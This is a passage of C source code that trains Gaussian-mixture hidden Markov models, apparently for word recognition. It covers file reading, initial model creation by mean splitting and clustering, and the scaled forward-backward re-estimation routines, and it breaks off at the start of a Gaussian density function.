writing_model(output_file,states_number,param_number,mixture_number,
coef_number,transition_probab,state_mix,word);
fclose(f_out);
f_out = opening_file_write(text_file,"w");
writing_text(text_file,output_file,word,states_number,param_number,
mixture_number,data_file,starting_time_f,ending_time_f,cpu_time_f,
exemplar_number,probab,iteration );
fclose(f_out);
return 0;
} /* end of main */
/*
********************************************************************************
* *
* opening_file_read: *
* *
* This function opens a file for reading. *
* *
* input: file_name, mode. *
* *
* output: f_in. *
* *
********************************************************************************
*/
FILE* opening_file_read(char* file_name, /* pointer to file name */
char* mode /* pointer to reading mode */
)
{
FILE *f_in; /* pointer to reading file */
if ((f_in = fopen(file_name,mode)) == NULL)
{
printf("file %s not found \n",file_name);
exit(1);
}
return(f_in);
} /* end of function opening_file_read */
/*
********************************************************************************
* *
* opening_file_write: *
* *
* This function opens the file for writing. *
* *
* input: file_name, mode. *
* *
* output: f_out. *
* *
********************************************************************************
*/
FILE *opening_file_write(file_name,mode)
char *file_name; /* pointer to file name */
char *mode; /* pointer to writing mode */
{
FILE *f_out; /* pointer to writing file */
if((f_out=fopen(file_name, mode)) == NULL) {
printf("can't open file %s \n",file_name);
exit(1);
}
return(f_out);
} /* end of function opening_file_write */
/*
********************************************************************************
* *
* reading_param_file_name: *
* *
* This function reads names of parameters files. *
* *
* input: f_in, data_file, param_number. *
* *
* output: param_file. *
* *
********************************************************************************
*/
int reading_param_file_name(FILE* f_in[MAX_PARAMETERS_NUMBER], /* pointer to input file */
char data_file[MAX_PARAMETERS_NUMBER][100], /* pointer to input file name */
char param_file[MAX_PARAMETERS_NUMBER][100], /* pointer to input file name */
int param_number /* number of parameters */
)
{
int aux; /* end of file detector */
register int i;
for (i=0;i<param_number;i++)
{
aux = fscanf(f_in[i],"%s",param_file[i]);
if (ferror(f_in[i]))
{
printf("reading error on file %s \n",data_file[i]);
exit(1);
}
}
return(aux);
} /* end of function reading_param_file_name*/
/*
********************************************************************************
* *
* reading_coef: *
* *
* This function reads a vector of coefficients. *
* *
* input: f_in, file_name, coef_number. *
* *
* output: coef_vector, aux. *
* *
********************************************************************************
*/
int reading_coef(
FILE *f_in, /* pointer to input file */
char *file_name, /* pointer to input file name */
int coef_number, /* number of coefficients */
double *coef_vector /* pointer to vector of coefficients */
)
{
int aux; /* number of bytes read */
aux = fread(coef_vector,sizeof(double),coef_number,f_in); /* reading coefficients */
if (ferror(f_in))
{
printf("reading error on file %s \n",file_name);
exit(1);
}
return(aux);
} /* end of function reading_coef */
/*
********************************************************************************
* *
* reading_coef_number: *
* *
* This function reads the number of coefficients per frame. *
* *
* input: f_in, file_name. *
* *
* output: coef_number. *
* *
********************************************************************************
*/
int reading_coef_number(FILE *f_in, /* pointer to input file */
char *file_name /* pointer to input file name */
)
{
int coef_number=0; /* number of coefficients */
fread(&coef_number,sizeof(int),1,f_in); /* reading number of coefficients */
if (ferror(f_in))
{
printf("reading error on file %s \n",file_name);
exit(1);
}
return(coef_number);
} /* end of function reading_coef */
/*
********************************************************************************
* *
* reading_model: *
* *
* This function reads a model. *
* *
* input: model_name. *
* *
* output: param_number, states_number, mixture_number, coef_number, *
* transition_probab, state_mix, word. *
* *
********************************************************************************
*/
void reading_model(
char *model_name, /* name of model */
int *param_number, /* number of parameters */
int *states_number, /* number of states */
int *mixture_number, /* number of mixtures */
int *coef_number, /* number of coefficients */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* transition probabilities */
struct state state_mix[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER], /* mixture parameters */
char *word /* word */
)
{
FILE* f_in;
size_t length;
int register i,j,k,l;
/* opening model file */
f_in = opening_file_read(model_name,"rb");
fread(&length, sizeof(size_t),1,f_in); /* reading length of word */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
fread(word, sizeof(char),length,f_in); /* reading word */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
fread(states_number, sizeof(int),1,f_in); /* reading number of states */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
fread(param_number, sizeof(int),1,f_in); /* reading number of parameters */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
fread(mixture_number,sizeof(int),*param_number,f_in); /* reading number of mixtures */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
fread(coef_number,sizeof(int),*param_number,f_in); /* reading number of coefficients */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
for (i=0;i<*states_number;i++)
{
fread(transition_probab[i], sizeof(double),*states_number,f_in); /* reading initial model - transition probabilities */
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
}
/* reading mixture parameters */
for (i=0;i<*param_number;i++)
{
for (j=0;j<*states_number;j++)
{
/* reading mixture coefficients */
fread(state_mix[i][j].mix_coef,sizeof(double),mixture_number[i],f_in);
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
for (k=0;k<mixture_number[i];k++)
{
/* reading mixture mean */
fread(state_mix[i][j].mix[k].mean,sizeof(double),coef_number[i], f_in);
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
/* reading covariance matrix determinant */
fread(&(state_mix[i][j].mix[k].det),sizeof(double),1,f_in);
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
/* reading inverse covariance matrix (full) */
for (l=0;l<coef_number[i];l++)
{
fread(state_mix[i][j].mix[k].cov_matrix[l],sizeof(double),coef_number[i],f_in);
if (ferror(f_in))
{
printf("reading error on file %s \n",model_name);
exit(1);
}
}
}
}
}
fclose(f_in); /* closing initial model file */
} /* end of function reading_model */
/*
********************************************************************************
* *
* creating_initial_model: *
* *
* This function creates an initial model. *
* *
* input: param_number, data_file, states_number, mixture_number. *
* *
* output: coef_number,transition_probab, state_mix. *
* *
********************************************************************************
*/
void creating_initial_model (
int param_number, /* number of parameters */
char data_file[MAX_PARAMETERS_NUMBER][100], /* name of file */
int states_number, /* number of states */
int *mixture_number, /* number of mixtures */
int *coef_number, /* number of coefficients */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* transition probabilities */
struct state state_mix[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER] /* mixture parameters */
)
{
register int i;
/* creating initial set of transition probability matrix using uniform distribuition */
init_transition_probab(states_number,transition_probab);
/* creating the inital set of mixture parameters */
for (i=0;i<param_number;i++)
{
init_mix_param(states_number,mixture_number[i],&coef_number[i], data_file[i],state_mix[i]);
}
} /* end of function creating_initial_model */
/*
********************************************************************************
* *
* init_transition_probab: *
* *
* This function creates an initial set of transition probabilities. *
* *
* input: states_number. *
* *
* output: transition_probab. *
* *
********************************************************************************
*/
void init_transition_probab(int states_number, /* number of states */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER] /* transition probabilities */
)
{
register int i,j;
/* initializing transition probability matrix using uniform distribuition */
/* Only transitions from state i to states i, i+1,..., i+DELTA are allowed. */
for (i=0;i<states_number;i++)
{
for (j=0;j<states_number;j++)
{
if ((j>DELTA+i) || (j<i)) transition_probab[i][j] = 0;
else
if ((DELTA+1) > (states_number-i)) transition_probab[i][j] = 1.0/ (double) (states_number-i);
else transition_probab[i][j] = 1.0/ (double) (DELTA+1);
} /* end of for (j) */
} /* end of for (i) */
} /* end of function init_transition_probab */
/*
********************************************************************************
* *
* init_mix_param: *
* *
* This function creates an initial set of mixture parameters. *
* *
* input: states_number, mixture_number,coef_number,training_file, ext. *
* *
* output: state_mix. *
* *
********************************************************************************
*/
void init_mix_param(
int states_number, /* number of states */
int mixture_number, /* number of mixtures */
int *coef_number, /* number of coefficients */
char *data_file, /* file with names of data files */
struct state state_mix[MAX_STATES_NUMBER] /* structure with mixture parameters */
)
{
FILE* f_in;
FILE* f_in1;
double coef_vector[MAX_TIME][MAX_COEF_NUMBER]; /* vector of coefficients */
double mean[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER][MAX_COEF_NUMBER]; /* mixture mean */
double dif[MAX_COEF_NUMBER]; /* auxiliar variable to calculate covariance matrix */
// int observation_seq[MAX_TIME]; /* observation vector */
int state_duration[MAX_STATES_NUMBER]; /* total number of symbols per state */
char param_file[100];
// double aux; /* auxiliar variable */
double sum;
// int obs_time; /* time ( number of frames in each observation sequence ) */
int count_time; /* symbols counter */
int symbol_state; /* number of symbols per state */
// int aux1 = 0; /* auxiliar variables */
// int aux2 = 0;
int index;
int remainder;
int begin;
int end;
register int i,j,k,l;
/* creating the initial set of mixture parameters */
init_mix_mean(states_number,mixture_number,coef_number,data_file,mean);
f_in1 = opening_file_read(data_file,"r");
for (i=0;i<states_number;i++)
{
state_duration[i] = 0;
for (j=0;j<mixture_number;j++)
{
state_mix[i].mix_coef[j] = 0.0;
for (k=0;k<*coef_number;k++)
for (l=0;l<*coef_number;l++)
state_mix[i].mix[j].cov_matrix[k][l] = 0.0;
}
}
while (fscanf(f_in1,"%s",param_file) != EOF)
{ /* testing the end training sequence */
f_in = opening_file_read(param_file,"rb"); /* opening data file */
count_time = 0;
reading_coef_number(f_in,param_file);
while (reading_coef(f_in,param_file,*coef_number,coef_vector[count_time]) != 0)
{
count_time++;
}
fclose(f_in); /* closing data file */
symbol_state = count_time/states_number;
remainder = count_time%states_number;
end = 0;
for (k=0;k<states_number;k++)
{
begin = end;
if (k < remainder)
end += symbol_state +1;
else
end += symbol_state;
for (j=begin;j<end;j++)
{
classifying(coef_vector[j],mixture_number,*coef_number,mean[k],&index);
for (l=0;l<*coef_number;l++) dif[l] = coef_vector[j][l] - mean[k][index][l];
for (i=0;i<*coef_number;i++)
{
for (l=i;l<*coef_number;l++) state_mix[k].mix[index].cov_matrix[i][l] += dif[i]*dif[l];
}
state_mix[k].mix_coef[index]++;
}
state_duration[k] += end - begin;
}
} /* end of while ( testing the EOF) */
fclose(f_in1);
for (i=0;i<states_number;i++)
{
for (j=0;j<mixture_number;j++)
{
for (k=0;k<*coef_number;k++)
for (l=k;l<*coef_number;l++)
{
state_mix[i].mix[j].cov_matrix[k][l] /= state_mix[i].mix_coef[j];
}
for (k=0;k<*coef_number;k++)
if (state_mix[i].mix[j].cov_matrix[k][k] < FINITE_PROBAB) state_mix[i].mix[j].cov_matrix[k][k] = FINITE_PROBAB;
if (*coef_number > 1)
{
for (k=1;k<*coef_number;k++)
{
for (l=0;l<k;l++) state_mix[i].mix[j].cov_matrix[k][l] = state_mix[i].mix[j].cov_matrix[l][k];
}
state_mix[i].mix[j].det = inv_cov_matrix(*coef_number,state_mix[i].mix[j].cov_matrix);
}
else
{
state_mix[i].mix[j].det = state_mix[i].mix[j].cov_matrix[0][0];
state_mix[i].mix[j].cov_matrix[0][0] = 1.0/state_mix[i].mix[j].cov_matrix[0][0];
}
for (k=0;k<*coef_number;k++) state_mix[i].mix[j].mean[k] = mean[i][j][k];
}
}
for (i=0;i<states_number;i++)
{
sum = 0.0;
for (j=0;j<mixture_number;j++)
{
state_mix[i].mix_coef[j] /= (double) state_duration[i];
sum += state_mix[i].mix_coef[j];
}
if (sum > 1.001 || sum < 0.999)
printf("error on computing initial output symbol probabilities: sum = %f \n",sum);
}
/* changing values of mixture coefficients less than a threshould */
for (i=0;i<states_number;i++)
changing_zero_coef(mixture_number,state_mix[i].mix_coef);
} /* end of function init_mix_param */
/*
********************************************************************************
* *
* init_mix_mean: *
* *
* This function creates an initial set of mixture mean. *
* *
* input: states_number, mixture_number, coef_number, training_file, ext. *
* *
* output: mean. *
* *
********************************************************************************
*/
void init_mix_mean(
int states_number, /* number of states */
int mixture_number, /* number of mixtures */
int *coef_number, /* number of coefficients */
char *data_file, /* file with names of data files */
double mean[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER][MAX_COEF_NUMBER] /* mixture mean */
)
{
FILE* f_in;
FILE* f_in1;
double coef_vector[MAX_TIME][MAX_COEF_NUMBER]; /* vector of coefficients */
double sum_vector[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER][MAX_COEF_NUMBER];
double distortion[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER]; /* distortion */
int vector_number[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER]; /* number of vectors in each mixture */
char param_file[MAX_STRING_SIZE]; /* parameter file name */
int obs_time; /* time ( number of frames in each observation sequence ) */
int old_mix_number; /* old mixture number */
int mix_number; /* auxiliar mixture number */
int index; /* index of mixture */
// int count_time ; /* symbols counter */
int symbol_state; /* number of symbols per state */
int remainder;
int begin; /* auxiliar variables */
int end;
int ite;
register int i,j,k,l;
/* creating the inital set of mixture mean */
f_in1 = opening_file_read(data_file,"r");
for (i=0;i<states_number;i++)
{
vector_number[i][0] = 0;
for (j=0;j<mixture_number;j++)
for (k=0;k<MAX_COEF_NUMBER;k++)
mean[i][j][k] = 0.0 ;
}
while (fscanf(f_in1,"%s",param_file) != EOF)/* testing end of training sequence */
{
f_in = opening_file_read(param_file,"rb"); /* opening data file */
*coef_number = reading_coef_number(f_in,param_file);
obs_time = 0;
while (reading_coef(f_in,param_file,*coef_number,coef_vector[obs_time]) != 0)
{
obs_time++;
}
fclose(f_in); /* closing data file */
symbol_state = obs_time/states_number;
remainder = obs_time%states_number;
end = 0;
for (k=0;k<states_number;k++)
{
begin = end;
if (k < remainder)
end += symbol_state +1;
else
end += symbol_state;
/* computing the initial mixture mean in each state */
for (j=begin;j<end;j++)
{
for (l=0;l<*coef_number;l++)
{
mean[k][0][l] += coef_vector[j][l];
}
vector_number[k][0]++;
}
}
} /* end of while ( testing the EOF) */
rewind(f_in1);
for (i=0;i<states_number;i++)
{
for (l=0;l<*coef_number;l++)
{
mean[i][0][l] /= (double) vector_number[i][0];
}
}
old_mix_number = 1;
while (old_mix_number < mixture_number)
{
/* splitting mixture means in two new mixture means */
for (i=0;i<states_number;i++)
{
splitting(*coef_number,old_mix_number,mixture_number,&mix_number,
vector_number[i],mean[i],distortion[i]);
}
old_mix_number = mix_number; /* saving mixture number */
for (ite=0;ite<5;ite++)
{
for (k=0;k<states_number;k++)
{
for (i=0;i<old_mix_number;i++)
{
vector_number[k][i] = 0;
distortion[k][i] = 0.0;
for (j=0;j<*coef_number;j++)
{
sum_vector[k][i][j] = 0.0;
}
}
}
while (fscanf(f_in1,"%s",param_file) != EOF) /* testing the end training sequence */
{
f_in = opening_file_read(param_file,"rb"); /* opening data file */
obs_time = 0;
reading_coef_number(f_in,param_file);
while(reading_coef(f_in,param_file,*coef_number,coef_vector[obs_time]) !=0)
{
obs_time++;
}
fclose(f_in); /* closing data file */
symbol_state = obs_time/states_number;
remainder = obs_time%states_number;
end = 0;
for (k=0;k<states_number;k++)
{
begin = end;
if (k < remainder)
end += symbol_state +1;
else
end += symbol_state;
/* computing the mean of each mixture in each state */
for (j=begin;j<end;j++)
{
distortion[k][index] += classifying(coef_vector[j],old_mix_number,*coef_number,mean[k],&index);
vector_number[k][index]++;
for (l=0;l<*coef_number;l++)
{
sum_vector[k][index][l] += coef_vector[j][l];
}
}
}
} /* end of while ( testing the EOF) */
/* computing new mean for each mixture */
for (i=0;i<states_number;i++)
new_mix_mean(*coef_number,old_mix_number,sum_vector[i],
vector_number[i],mean[i],distortion[i]);
rewind(f_in1);
} /* end of for (number of iterations) */
} /* end of while (mixture number) */
} /* end of function init_mix_mean */
/*
********************************************************************************
* *
* splitting: *
* *
* This function splits each mixture mean in two new mixture means. *
* *
* input: coef_number, old_mix_number,mean,mixture_number, mix_number, *
* vector_number. *
* *
* output: mean. *
* *
********************************************************************************
*/
void splitting(
int coef_number, /* number of coefficients */
int old_mix_number, /* old mixture number */
int mixture_number, /* mixture number */
int *mix_number, /* auxiliar mixture number */
int *vector_number, /* number of vectors in each cell */
double mean[MAX_MIXTURE_NUMBER][MAX_COEF_NUMBER], /* mixture mean */
double *distortion /* distortion of each cell */
)
{
int index[MAX_MIXTURE_NUMBER]; /* index of each cell */
int register i,k,l;
int dif; /* auxiliar variable */
if (2*old_mix_number < mixture_number)
{
for (k=0;k<old_mix_number;k++)
{
for (l=0;l<coef_number;l++) mean[old_mix_number+k][l] = mean[k][l]*(1.05);
for (l=0;l<coef_number;l++) mean[k][l] = mean[k][l]*(0.95);
}
*mix_number = 2*old_mix_number;
}
else
{
/* sorting the cells in decreasing order considering distortion of each cell */
sorting(distortion,index,old_mix_number);
dif = mixture_number - old_mix_number;
for (k=0;k<dif;k++)
{
i = index[k];
for (l=0;l<coef_number;l++)
{
mean[old_mix_number+k][l] = mean[i][l]*(1.005);
}
for (l=0;l<coef_number;l++)
{
mean[i][l] = mean[i][l]*(0.995);
}
}
*mix_number = dif + old_mix_number;
}
} /* end of function splitting */
/*
********************************************************************************
* *
* classifying: *
* *
* This function classifies a vector in a cluster. *
* *
* input: coef_vector, mix_number, coef_number, mean. *
* *
* output: index, min_distance. *
* *
********************************************************************************
*/
double classifying(
double *coef_vector, /* vector of coefficients */
int mix_number, /* number of mixtures */
int coef_number, /* number of coefficients */
double mean[][MAX_COEF_NUMBER], /* mean */
int *index /* index of cluster in wich the vector was classified */
)
{
double distance; /* distance to classify each vector in each cluster */
double min_distance; /* minimum distance */
double aux; /* auxiliar variable */
register int i,j;
/* classifying the vectors in the clusters */
min_distance = 1.0e20;
for (i=0;i<mix_number;i++)
{
distance = 0.0;
/* computing the distance between input vector and centroid of cluster i */
for (j=0;j<coef_number;j++)
{
aux = mean[i][j] - coef_vector[j];
distance += aux*aux;
} /* end of for(j) - distance computation */
if (distance < min_distance)
{ /* computing the minimum distance */
min_distance = distance;
*index = i;
} /* end of if (distance < min_distance) */
} /* end of for(i) */
return(min_distance);
} /* end of function classifying */
/*
********************************************************************************
* *
* new_mix_mean: *
* *
* This function creates a new set of mixture means. *
* *
* input: coef_number, mix_number, sum_vector, vector_number. *
* *
* output: mean. *
* *
********************************************************************************
*/
void new_mix_mean(int coef_number, /* number of coefficients */
int mix_number, /* mixture number */
double sum_vector[MAX_MIXTURE_NUMBER][MAX_COEF_NUMBER], /* sum of vectors in each mixture */
int *vector_number, /* number of vectors in each mixture */
double mean[MAX_MIXTURE_NUMBER][MAX_COEF_NUMBER], /* mixture mean */
double *distortion /* distortion of each cell */)
{
int index[MAX_MIXTURE_NUMBER];
int register i,j,k,l;
for (j=0;j<mix_number;j++)
{
for (k=0;k<coef_number;k++)
mean[j][k] = sum_vector[j][k]/(double) vector_number[j];
}
/* treating empty cells */
sorting(distortion,index,mix_number); /* sorting cells in decreasing order considering distortion of each cell */
i = 0;
for (j=0;j<mix_number;j++)
{
if (vector_number[j] == 0)
{
l = index[i++];
for (k=0;k<coef_number;k++) mean[j][k] = mean[l][k]*(1.005);
for (k=0;k<coef_number;k++) mean[l][k] = mean[l][k]*(0.995);
}
}
} /* end of function new_mix_mean */
/*
********************************************************************************
* *
* sorting: *
* *
* This function sorts cells in decreasing order considering the number of *
* vectors in each cell. *
* *
* input: vector_number, index, mixture_number. *
* *
* output: index. *
* *
********************************************************************************
*/
void sorting(double *vector, /* number of vector in each cell */
int *index, /* index of each cell */
int mixture_number /* number of mixture */)
{
int done = 0; /* auxiliar variable */
register int i,j,k;
for (i=0;i<mixture_number;i++) index[i] = i;
while (!done)
{
done = 1;
for (i=0;i<(mixture_number-1);i++)
{
j = index[i];
k = index[i+1];
if (vector[j] < vector[k])
{
index[i] = k;
index[i+1] = j;
done = 0;
} /* end of if */
} /* end of for */
} /* end of while */
} /* end of function sorting */
/*
********************************************************************************
* *
* changing_zero_coef: *
* *
* This function changes the values of mixture coefficients less than a *
* threshould to values equal a threshould. *
* *
* input: mixture_number, mixture_coef. *
* *
* output: mixture_coef. *
* *
********************************************************************************
*/
void changing_zero_coef(int mixture_number, /* number of mixtures */
double *mixture_coef /* mixture coefficients */)
{
double sum = 0.0; /* auxiliar variable */
register int k;
/* changing values of mixture coefficients less than a threshould */
for (k=0;k<mixture_number;k++)
{
if (mixture_coef[k] < FINITE_PROBAB)
{
mixture_coef[k] = FINITE_PROBAB;
}
sum += mixture_coef[k];
}
for (k=0;k<mixture_number;k++) mixture_coef[k] /= sum;
} /* end of function changing_zero_coef */
/*
********************************************************************************
* *
* calc_alpha: *
* *
* This function calculates the forward variable (alpha). *
* *
* input: states_number,obs_time, param_number, transition_probab, *
* symbol_probab,pi. *
* *
* output: alpha, scaling_factor. *
* *
********************************************************************************
*/
void calc_alpha(int states_number, /* number of states */
int obs_time, /* number of symbols */
int param_number, /* number of parameters */
double alpha[MAX_STATES_NUMBER][MAX_TIME], /* forward variable - alpha */
double *scaling_factor, /* scaling factor */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* transition probabilities */
double symbol_probab[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER][MAX_TIME],
int *pi /* output symbol probabilities */)
{
double product;
double sum;
double aux;
// int symbol; /* auxiliar variables */
register int i,j,k;
/* computing forward variable alpha */
/* inicialization */
sum = 0.0;
for (i=0;i<states_number;i++)
{
product = 1.0;
for (j=0;j<param_number;j++)
{
product *= symbol_probab[j][i][0];
// printf("\nsymbol_probab[%d][%d][0]: %f",j,i,symbol_probab[j][i][0]);
}
alpha[i][0] = pi[i]*product;
sum += alpha[i][0];
// printf("\nalpha[%d][0]: %f",i,alpha[i][0]);
}
scaling_factor[0] = 1.0/sum; /* scaling factor */
for (i=0;i<states_number;i++) /* scaling alpha[i][0] */
alpha[i][0] *= scaling_factor[0];
/* induction */
for (k=1;k<obs_time;k++)
{
sum = 0.0;
for (i=0;i<states_number;i++)
{
aux = 0.0;
for (j=0;j<states_number;j++) aux += alpha[j][k-1]*transition_probab[j][i];
product = 1.0;
for (j=0;j<param_number;j++)
{
product *= symbol_probab[j][i][k];
}
alpha[i][k] = aux*product;
sum += alpha[i][k];
}
scaling_factor[k] = 1.0/sum;
// printf("\nscaling_factor[%d]: %f",k, scaling_factor[k]);
for (i=0;i<states_number;i++) alpha[i][k] *= scaling_factor[k]; /* scaling alpha[i][k] */
}
} /* end of calc_alpha */
/*
********************************************************************************
* *
* calc_beta: *
* *
* This function calculates the backward variable ( beta). *
* *
* input: states_number,obs_time, param_number, *
* scaling_factor, transition_probab, symbol_probab. *
* *
* output: beta. *
* *
********************************************************************************
*/
void calc_beta(int states_number, /* number of states */
int obs_time, /* number of symbols */
int param_number, /* number of parameters */
double beta[MAX_STATES_NUMBER][MAX_TIME], /* backward variable - beta */
double *scaling_factor, /* scaling factor */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* transition probabilities */
double symbol_probab[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER][MAX_TIME] /* output symbol probabilities */)
{
double product;
// double sum;
double aux;
// int symbol; /* auxiliar variables */
register int i,j,k,l;
/* computing backward variable beta */
/* initilization */
for (i=0;i<states_number-1;i++) beta[i][obs_time-1] = 0.0;
beta[states_number-1][obs_time-1] = 1.0; /* final state */
/* scaling */
beta[states_number-1][obs_time-1] *= scaling_factor[obs_time-1];
/* induction */
for (k=obs_time-2;k>=0;k--)
{
for (i=0;i<states_number;i++)
{
aux = 0.0;
for (j=0;j<states_number;j++)
{
product = 1.0;
for (l=0;l<param_number;l++)
{
product *= symbol_probab[l][j][k+1];
}
aux += beta[j][k+1]*transition_probab[i][j]*product;
}
beta[i][k] = aux;
}
/* scaling */
for (i=0;i<states_number;i++)
{
beta[i][k] *= scaling_factor[k];
if (isinf(beta[i][k]) == 1) beta[i][k] = 1.0e200;
}
}
} /* end of calc_beta */
/*
********************************************************************************
* *
* calc_probability: *
* *
* This function calculates the probability. *
* *
* input: obs_time, scaling_factor, alpha. *
* *
* output: probability. *
* *
********************************************************************************
*/
double calc_probability(int obs_time, /* time (equal to number of frames) */
double* scaling_factor, /* scaling factor */
double alpha) /* alpha[states_number-1][obs_time-1] */
{
double probability = 0.0; /* probability */
register int i;
// printf("\nalpha: %f",alpha);
for (i=0;i<obs_time;i++)
{
probability -= log(scaling_factor[i]);
// printf("\nscaling_factor: %f",scaling_factor[i]);
// printf("\nprobability: %f",probability);
}
probability += log(alpha);
// printf("\nprobability+log(alpha): %f",probability);
return(probability);
} /* end of calc_probability */
/*
********************************************************************************
* *
* calc_transition_probab: *
* *
* This function calculates the transition probabilities. *
* *
* input: states_number, obs_time, param_number, alpha, beta, *
* scaling_factor, transition_probab, symbol_probab. *
* *
* output: num_trans_probab, den_trans_probab. *
* *
********************************************************************************
*/
void calc_transition_probab(int states_number, /* number of states */
int obs_time, /* number of symbols */
int param_number, /* number of parameters */
double alpha[MAX_STATES_NUMBER][MAX_TIME], /* forward variable - alpha */
double beta[MAX_STATES_NUMBER][MAX_TIME], /* backward variable - beta */
double *scaling_factor, /* scaling factor */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* transition probabilities */
double symbol_probab[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER][MAX_TIME], /* output symbol probabilities */
double num_trans_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* variable to calculate transition probabilities */
double *den_trans_probab) /* variable to calculate transition probabilities */
{
double product;
double aux = 0.0;
// int symbol; /*auxiliar variables */
register int i,j,k,l;
for (i=0;i<states_number;i++)
{
for (j=0;j<states_number;j++)
{
if (j >= i && j < (i+DELTA+1))
{
aux = 0.0;
for (k=0;k<(obs_time-1);k++)
{
product = 1.0;
for (l=0;l<param_number;l++)
{
product *= symbol_probab[l][j][k+1];
}
aux += alpha[i][k]*transition_probab[i][j]*product*beta[j][k+1];
}
num_trans_probab[i][j] += aux;
}
}
for (k=0;k<(obs_time-1);k++) den_trans_probab[i] += alpha[i][k]*beta[i][k]/scaling_factor[k];
}
} /* end of function calc_transition_probab */
/*
********************************************************************************
* *
* calc_den_mix_coef: *
* *
* This function calculates a variable to calculate mixture coefficients. *
* *
* input: obs_time, states_number, alpha, beta, scaling_factor, *
* den_mixture_coef. *
* *
* output: den_mixture_coef. *
* *
********************************************************************************
*/
void calc_den_mix_coef(int obs_time, /* time */
int states_number, /* number of states */
double alpha[MAX_STATES_NUMBER][MAX_TIME], /* forward variable - alpha */
double beta[MAX_STATES_NUMBER][MAX_TIME], /* backward variable - beta */
double *scaling_factor, /* scaling factor */
double den_mixture_coef[MAX_STATES_NUMBER]) /* variable to calculate mixture coefficients */
{
double aux; /* auxliar variable */
register int i,j;
for (i=0;i<states_number;i++)
{
for (j=0;j<obs_time;j++)
{
aux = alpha[i][j]*beta[i][j]/scaling_factor[j];
den_mixture_coef[i] += aux;
}
}
} /* end of function calc_den_mix_coef*/
/*
********************************************************************************
* *
* calc_mix_param: *
* *
* This function calculates mixture parameters. *
* *
* input: obs_time,states_number, mixture_number, coef_number, coef_vector, *
* alpha, beta, scaling_factor, gaus_probab_den, num_mix_param, *
* state_mix. *
* *
* output: num_mix_param. *
* *
********************************************************************************
*/
void calc_mix_param(int obs_time, /* time */
int states_number, /* number of states */
int mixture_number, /* number of mixtures */
int coef_number, /* number of coefficients per vector */
double *coef_vector, /* vector of coefficients */
double alpha[MAX_STATES_NUMBER][MAX_TIME], /* forward variable - alpha */
double beta[MAX_STATES_NUMBER][MAX_TIME], /* backward variable - beta */
double *scaling_factor, /* scaling factor */
double gaus_probab_dens[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER], /* gaussian probability density */
struct state *num_mix_param, /* variable to calculate transition probabilities */
struct state *state_mix) /* mixture parameters */
{
double dif[MAX_COEF_NUMBER]; /* auxiliar variable to calculate covariance matrix */
double aux; /* auxiliar variables */
double aux1;
register int i,j,k,l;
for (i=0;i<states_number;i++)
{
aux = alpha[i][obs_time]*beta[i][obs_time]/scaling_factor[obs_time];
for (j=0;j<mixture_number;j++)
{
aux1 = aux*gaus_probab_dens[i][j];
num_mix_param[i].mix_coef[j] += aux1;
for (k=0;k<coef_number;k++)
{
num_mix_param[i].mix[j].mean[k] += aux1*coef_vector[k];
dif[k] = coef_vector[k] - state_mix[i].mix[j].mean[k];
}
for (k=0;k<coef_number;k++)
for (l=k;l<coef_number;l++)
num_mix_param[i].mix[j].cov_matrix[k][l] += aux1*dif[k]*dif[l];
}
}
} /* end of function calc_mix_param */
/*
********************************************************************************
* *
* calc_symbol_probab: *
* *
* This function calculates the output symbol density probabilities. *
* *
* input: states_number, mixture_number,coef_number, coef_vector, state_mix, *
* obs_time. *
* *
* output: gauss, symbol_probab. *
* *
********************************************************************************
*/
void calc_symbol_probab(int states_number, /* number of states */
int mixture_number, /* number of mixtures */
int coef_number, /* number of coefficients per vector */
double *coef_vector, /* vector of coefficients */
struct state *state_mix, /* mixture parameters */
double gauss[MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER], /* gaussian probability density in each mixture */
double symbol_probab[MAX_STATES_NUMBER][MAX_TIME], /* gaussian probability density in each state */
int obs_time) /* time */
{
register int i,j;
for (i=0;i<states_number;i++)
{
symbol_probab[i][obs_time] = 0.0;
for (j=0;j<mixture_number;j++)
{
gauss[i][j] = calc_gaus(coef_number,coef_vector,
state_mix[i].mix[j].mean,state_mix[i].mix[j].cov_matrix,
state_mix[i].mix[j].det);
gauss[i][j] *= state_mix[i].mix_coef[j];
symbol_probab[i][obs_time] += gauss[i][j];
}
if (symbol_probab[i][obs_time]!= 0.0)
{
for (j=0;j<mixture_number;j++)
{
gauss[i][j] /= symbol_probab[i][obs_time];
}
}
else
{
for (j=0;j<mixture_number;j++)
{
gauss[i][j] = 0.0;
}
}
}
} /* end of function calc_symbol_probab */
/*
********************************************************************************
* *
* calc_gaus: *
* *
* This function calculates the gaussian probability density using full *
* covariance matrix. *
* *
* input: coef_number, coef_vector, mean, inv_cov, det. *
* *
* output: gaus. *
* *
********************************************************************************
*/
double calc_gaus(int coef_number, /* number of coefficients per vector */
